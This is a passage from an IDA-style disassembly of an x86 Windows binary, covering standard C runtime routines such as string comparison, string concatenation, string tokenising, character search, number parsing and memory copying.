		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------

loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi

loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------

loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72

loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99

loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB2A8, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------

loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx

loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax

loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------

loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi

loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax

loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 2670716h
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 2670D55h
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax

loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------

loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi

loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx

loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx

loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC

loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD

loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------

loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------

loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]

loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46

loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4

loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0

loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB

loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8

loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6

loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi

loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------

loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC

loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi

loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080

loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi

loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB2F4

loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------

loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx

loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------

loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx

loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB2F4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------

loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A

loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB

loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A

loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------

loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4

loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------

loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC

loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290

loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283

loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl

loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi

loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C

loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8

loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------

loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------

loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------

loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------

loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------

loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
